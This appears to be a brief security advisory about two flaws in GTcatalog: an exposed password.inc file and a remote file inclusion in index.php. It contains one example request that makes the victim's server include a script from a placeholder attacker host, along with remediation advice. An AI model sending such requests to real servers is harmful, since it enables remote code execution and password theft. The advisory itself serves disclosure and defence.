Two vulnerabilities identified in GTcatalog can be exploited by malicious people to gain knowledge of sensitive information or execute arbitrary code on a webserver.

1) An access control error allows the include file "password.inc" to be requested by any person, which can be exploited to disclose the password by requesting the file.

2) The script "index.php" accepts arbitrary input passed to the variable "custom". This allows a malicious person to include a malicious script called from a remote server by constructing a malicious request.

Example including "http://[attacker]/1.custom.inc":
http://[victim]/index.php?function=custom&custom=http://[attacker]/1

Solution
Edit the source code to verify all user supplied input properly. Implement access control to "password.inc" such as .htaccess or similar.

Provided and/or discovered by
frog-m@n

Changelog
Further details available to Secunia VIM customers

Deep Links
Links available to Secunia VIM customers